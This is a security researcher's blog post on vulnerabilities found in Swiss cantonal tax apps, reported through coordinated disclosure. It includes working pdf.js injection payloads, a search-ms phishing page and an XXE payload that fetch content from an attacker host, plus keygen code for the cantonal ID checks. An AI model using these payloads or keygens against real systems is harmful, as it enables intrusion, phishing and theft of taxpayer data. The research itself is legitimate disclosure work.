aboutposts

Swiss Tax Adventures 2: The N-Day and the Rabbit Hole

29. Nov 2024, #cve #java #web #electron #reverse engineering #swiss 

This year I spent a little time looking at Swiss tax applications. Specifically, I looked at the 16 “official” desktop applications that allow you to do your taxes electronically. For non-Swiss readers, most of the 26 cantons (the Swiss equivalent of a state) have their own solution, that’s why there are so many clients.

In my last blog post, I showcased my main finding of this adventure, a mass XXE in a Java library included in many Swiss tax applications. This second part is going to tell the story of the N-Day that started all this and show you some smaller findings I had, whilst exploring the Swiss tax application rabbit hole.

A Wild XSS Appears #

Some time ago, I was filling out my taxes as usual, when, for whatever reason, I decided to investigate the tax software of my canton. Honestly, I don’t have a better explanation of how this started back then.

I live in the canton of Lucerne, which gladly provides “steuern.lu”, a desktop application for filling out your taxes electronically. The workflow is pretty simple:

The desktop app contains two parts, a TypeScript-based “front end” usually accessed by an Electron client, and a Java-based “back end”. The ports are assigned randomly during the start but can be hardcoded using a bit of asar file trickery. Once you know the ports, a (Burp) browser can be used as an alternative to the Electron client, which allows for nicer reverse engineering.

When I first did this, I was confused by the design decision and honestly did not find anything interesting and security-relevant right away. I did not spend that much time on it and quickly moved it to the “eh, maybe” project pile.

When CVE-2024-4367↗ showed up this year, the first thing that came to my mind was the tax software that I used almost a year ago. Somehow this app of all places was the last time I knowingly encountered pdf.js. The tax app uses pdf.js to render PDF attachments like receipts or similar documents, which you add to your tax declaration. Since the PoC exploit was available from the beginning, crafting a payload was easy:

/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('https://mkiesel.ch/images/poc.gif'\);
//)]

Unfortunately, the Electron part of the app was configured with security options1 that prevented me for achieving a direct RCE.

/* Security settings turned on - never disable them. */
devTools: false,
nodeIntegration: false,
contextIsolation: true,
enableRemoteModule: false,
sandbox: true,
preload: path.join(__dirname, "preload.js")

If nodeIntegration had been set to true, the following payload would have given me a direct RCE capability.

/FontMatrix [0.1 0 0 0.1 0 (1\);
ElectronRequire\('child_process'\).exec\('calc.exe'\);
//)]

URL Handlers FTW #

But having the unpacked Electron app in front of me, I spotted something interesting. The code below essentially is an “auto-clicker” for any registered URL handler that opens inside the Electron app. This means we can launch apps without needing confirmation from the user!

/**
 * Open the given external protocol URL in the desktop's default manner.
 * 
 * @param {String} externalProtocol Protocol to open.
 * @returns nothing
*/
ipcMain.on('open-external-protocol', function(event, externalProtocol){
    shell.openExternal(externalProtocol);
});

Let me explain…

In a traditional browser, the user is prompted for confirmation before opening installed applications via URL handlers. For example, typing calculator:// into the address bar should trigger a prompt as in the following picture.

A website wants to open this application

Opening an URL handler via an XXS inside this Electron app, we can skip the confirmation step.

/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('calculator://'\);
//)]

Good old search-ms #

This behavior can open the door to many vulnerabilities, but they depend on what your target has installed. Is there something we can do which all Windows computers support? Yes, there is! Behold, the search-ms URL handler! This URL handler is such a versatile entry point, that has been used numerous times for shenanigans 2 3, and I’m going to show why.

The URL handlersearch-ms enables an attacker to open the “Search” dialogue of the Windows Explorer in a remote location. This location can be for example an SMB or WebDAV server. Combine this with social engineering and a potential MotW↗ bypass (like using .py or .sln files) and you’ve got yourself a nice entry point. To show the impact of the pdf.js exploit, I prepared a little payload:

/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('http://192.168.56.6:8080/update.html'\);
//)]
<!DOCTYPE html>
<html>
    <h1>Ihre Programm "steuern.lu.2023 nP" is veraltet</h1>
    <h2><a href="search-ms:query=steuern&crumb=location:%5C%5C192.168.56.6%5Cupdate&displayname=Information-Factory%20Updates">Update installieren</a></h2>
</html>

Once I had the full chain, I contacted the vendor for a CVD (coordinated vulnerability disclosure). This went smoothly and they were very professional! Kudos! In addition to the vulnerable pdf.js, I reported other security concerns like the URL handler attack path. They said they’ll look into it and if possible, remove it for the next version.

Timeline

All The Taxclients #

This N-Day finding spiked my interest, so I installed a total of 16 Swiss tax clients into my lab VM. This included every desktop app I could get my hands on, resulting in the table below. The rest of this blog post is a “best of” of what I encountered while following the tax rabbit down the rabbit hole. Some key points I observed were:

My main tools were jadx↗ and IntelliJ IDEA↗ for decompiling and developing PoCs, as well as asar↗ for (un)packing the Electron apps.

Table of Tax Clients #

CantonVendorClient
AGmsg systems agDesktop App
AIRingler Informatik AGWeb
AU?Web
BE?Web
BLRingler Informatik AGWeb
BSInformation Factory AGElectron Desktop App
FRRingler Informatik AGDesktop App
GEDV Bern AGDesktop App
GLRingler Informatik AGWeb
GRAbraxas Informatik AGDesktop App
JU?Web
LUInformation Factory AGElectron Desktop App
NERingler Informatik AGDesktop App
NWRingler Informatik AGWeb
OWRingler Informatik AGWeb
SGInformation Factory AGDesktop App
SHAbraxas Informatik AGDesktop App
SORingler Informatik AGWeb
SZRingler Informatik AGDesktop App
TGAbraxas Informatik AGDesktop App
TIInformation Factory AGDesktop App
URRingler Informatik AGWeb
VDDV Bern AGDesktop App
VSAbraxas Informatik AGDesktop App
ZGInformation Factory AGDesktop App
ZHInformation Factory AGDesktop App

This table only contains the clients listed on each canton’s site directly (the “official” clients), excluding 3rd party clients. I only looked at the Desktop clients.

The Kantönligeist #

A quick detour on why are there so many clients. The Swiss-German word “Kantönligeist” is often used to describe a situation where every canton has made up its own mind/solution which is then often not compatible with other cantons. This happens a lot.

What happens when digitalization gets into this style of law-making? 26 cantons having at least eight different clients from at least seven different vendors. blobcatnotlikethis

Tax file formats #

Now, on to some more technical stuff again. All tax software I encountered had the feature to save your tax data for the next year. This way, as long as you don’t move cantons, you can import last year’s data and won’t have to restart from scratch. There is however a cool attack vector here.

Often tax accountants accept sending them such files as when they are doing your taxes, it’s less work for them if they have your old data. Also, some cantons offer electronic submission of data. In both cases, the recipient might receive malicious data, nicely packed into a tax file. Here are some tax files I looked at in detail.

A meme explaining that most developers just rename a ZIP file and brand it as their own file format

Forgeable Signatures #

The applications of Lucerne and Basel-City use a “custom” zip file to store the tax data. Inside this zip file, there are a few more zip files. If you unpack all, a stock/fresh tax file looks like this:

STEUERFÄLLE\TEST
│   taxcase.LUnP2023.meta
│   taxcase.LUnP2023.meta.sign
├───annexes
│       test.pdf
│       test.pdf.sign
└───artifacts
        taxcase.LUnP2023
        taxcase.LUnP2023.sign

As you can see, each file has a .sign neighbor containing, as you probably guessed, its signature. Upon spotting this, I looked for the logic of how this signature is created. I expected some kind of KDF↗ which, using your personal identifier/access code generates a public key, verifying your identity once more. However, I was quickly disappointed. The vendor, Information Factory, as good as they were in fixing the pdf.js XSS, sadly only uses hardcoded private and public keys. This renders classic signing useless.

The Lucerne application containing both public and private keys

They confirmed to me the intended use case for those keys is only integrity checks against transport damage (corrupted files). Each user uses the same hard-coded keys. IMHO, a checksum would have achieved the same.

There is a possible XXE↗ here, as taxcase.LUnP2023 is an XML file and the import DocumentBuilder happily accepts DOCTYPE. I was just too lazy to PoC this because the ZIP file is constructed using custom code. Happy PoC’ing!

XXEaaS #

Speaking of XXE, msg Systems’s application for Aargau contained a relatively easy-to-exploit XXE. Upon feeding the exported file into binwalk, I got the surprising result that it was just zlip-compressed data.

$ binwalk 2023.a23

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zlib compressed data, default compression

Using cat 2023.a23 | zlib-flate -uncompress > whatareyou, a nice XML file presents itself, just waiting for the XXE. Using your standard XXE payload, the PoC was a breeze.

<!DOCTYPE demo [
     <!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "http://192.168.56.6:9999/stage1/haecks2.dtd">
     %extentity;
     %intern;
      ]
>
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Daten>
    <Admin>
        <FileCheck>
            <Kanton>AG</Kanton>
            <EasyTaxJahr>2023</EasyTaxJahr>
            <Jahr>2023</Jahr>
            <Version>1.2</Version>
            <VersionDisplay>1.2</VersionDisplay>
            <Hash>-6554710680262248762</Hash>
            <Komplett>1</Komplett>
        </FileCheck>
        <Maintenance>
            <Modus>1</Modus>
            <seenPanels>1,61,2,3,60,4,7,11,8</seenPanels>
            <currPanel>7</currPanel>
        </Maintenance>
...

I contacted the canton directly via a general email, and what followed was probably the easiest CVD (coordinated vulnerability disclosure) process I ever had. They quickly got back to me, acknowledging the vulnerability and thanking me. I then contacted the Swiss GOVCert BACS↗, asking for a CVE number to be reserved. They reversed CVE-2024-9044 and on November 29 2024, the patched software was released as version 1.3. Kudos to the canton and the vendor for such a flawless handling of the situation, even if the vulnerability only had a minor impact.

Timeline

Deserialization #

The source code of the DV Bern’s applications for Geneva and Vaud was especially good to look at, as it was not obfuscated at all. Upon studying the tax file format, I noticed that the tax data itself, your personal data, income, and so on, are serialized Java objects. Even if it has gotten harder, insecure (Java) deserialization↗ is still a thing and my sensors immediately went off after seeing this.

However, the vendor probably knew about this attack vector, as they implemented a whitelist to prevent well-known gadget chains from being deserialized. In addition to the classes in the list below, any of their own classes (identified by the prefix ch.dvbern.tax) were allowed.

THIRD_PARTY_CLASSES_WITHELIST = new HashSet(
  Arrays.asList(
    "java.util.HashMap",
    "java.util.Collections$SingletonMap",
    "java.util.Collections$UnmodifiableMap",
    "java.util.HashSet",
    "java.util.ArrayList",
    "java.util.Date",
    Types.TimestampClassName,
    "java.lang.String",
    "java.lang.Character",
    "java.lang.Enum",
    "java.lang.Boolean",
    "java.lang.Number",
    "java.lang.Integer",
    "java.lang.Long",
    "java.lang.Float",
    "java.lang.Double",
    "java.math.BigInteger",
    Types.DecimalClassName,
    "java.time.Ser",
    "[B",
    "[C",
    "[I",
    "[L",
    "[F",
    "[D",
    "org.threeten.bp.Ser",
  ),
);

Since I’ve never encountered deserialization outside CTFs, I studied the topic for a few hours and tried to find a way to exploit the tax file format. Using Gadget Inspector↗ I checked for gadgets inside the custom classes. The chain of log4j was correctly identified. However, I did not find a sink where I could trigger a call to log4j and my object being valid at the same time.

INVOKE type gadget
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
  org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)

They also use commons-collections4, but I was not able to serialize a payload from ysoserial↗ into a tax file without getting the compile-time error of java.io.NotSerializableException. For now, I deem their whitelist secure. But hey, I’m a n00b so prove me wrong! Happy Hunting!

CrackMes #

Moving on from tax file formats… Some tax software requires that you identify yourself before you can enter any data. Usually, this is an ID or code which you get from your canton and the format differs from canton to canton. Because I only have a valid number for the canton I reside in (which does not even require one until you submit the data), I had to get a bit creative when exploring other tax applications.

Aargau #

In the canton of Aargau, a so-called “Adress-Nr” is required to proceed. Using the text from the error message, the relevant code is quickly found. The switch statement will, in the case of the “Adress-Nr”, always land at case 10. Knowing this, I quickly created a keygen.

Code
package main

import (
    "fmt"
    "math/rand"
)

const (
    secret = "0946827135094682713"
)

func charToInt(b byte) int {
    return int(b - '0')
}

func randStr() string {
    randomNumber := rand.Intn(9000) + 1000
    return fmt.Sprintf("%04d", randomNumber)
}

func calculateChecksum(part1, part2 string) (int, int) {
    b2 := 0
    str2 := part1 + part2

    for i := 0; i < len(str2); i++ {
        b2 = charToInt(secret[b2+charToInt(str2[i])])
    }

    expected := 0
    if b2 != 0 {
        expected = 10 - b2
    }

    return b2, expected
}

func main() {
    var serial string

    for {
        part1 := randStr()
        part2 := randStr()
        base := part1 + "." + part2 + "."

        b2, l := calculateChecksum(part1, part2)

        if l < 10 {
            serial = fmt.Sprintf("%s0%d", base, l)
        } else {
            serial = fmt.Sprintf("%s%d", base, l)
        }

        if b2 == 0 {
            break
        }
    }

    fmt.Println(serial)
}

The validation code of Aargau

Fun Fact: During this write-up, I noticed that 1111.1111.00 would also have been a valid code. So much for the keygen effort.

Valais #

For Valais, the “SteuerpfNr” was required. Same principle here: I located the code based on the error text using the decompiled jar files, found the logic, and generated a quick keygen.

Code
import random

def m39836A(s: str, flag: bool):
    if len(s) <= 10:
        iArr = [5, 4, 3, 2, 7, 6, 5, 4, 3, 2]
        total = 0

        for i in range(len(s)):
            try:
                total += int(s[i]) * iArr[i]
            except ValueError:
                return -1

        remainder = total % 11
        result = 11 - remainder if remainder > 0 else 0

        if result == 10:
            if not flag:
                return -1
            result = 0

        return result

    return -1

def code_generator():
    while True:
        # Generate the first part, between 001 and 167 (3 digits)
        first_part_int = random.randint(1, 167)
        first_part = f"{first_part_int:03}"

        # Generate the second part between 1 and 9 (since it cannot be 0)
        second_part_int = random.randint(1, 9)
        second_part = str(second_part_int)

        # Generate the third part (6 digits)
        third_part = ''.join(random.choices('0123456789', k=6))

        serial = first_part + second_part + third_part

        # Calculate the last digit using m39836A
        last_digit = m39836A(serial, True)

        if last_digit != -1:
            yield f"{serial}{last_digit}"

code_gen = code_generator()
code = next(code_gen)
print(code)

Part of the key validation code of the Valais application

Part of the key validation code of the Valais application

Geneva #

Sometimes, the devs are just super friendly and actually leave in a backdoor code. ablobcatrainbow

A backdoor code ID inside the Geneva applications

Conclusion #

I hope at this point it’s clear why maybe the Kantönligeist is the wrong approach when it comes to government-relevant software. Tax data, which at its core is the same in all cantons, would really benefit from a single application for every taxpayer in Switzerland. But based on the table of tax clients, many cantons are switching to Ringler Informatik AG’s web solution so who knows? In a few years, we might get there eventually.

Hope to see you soon, cheers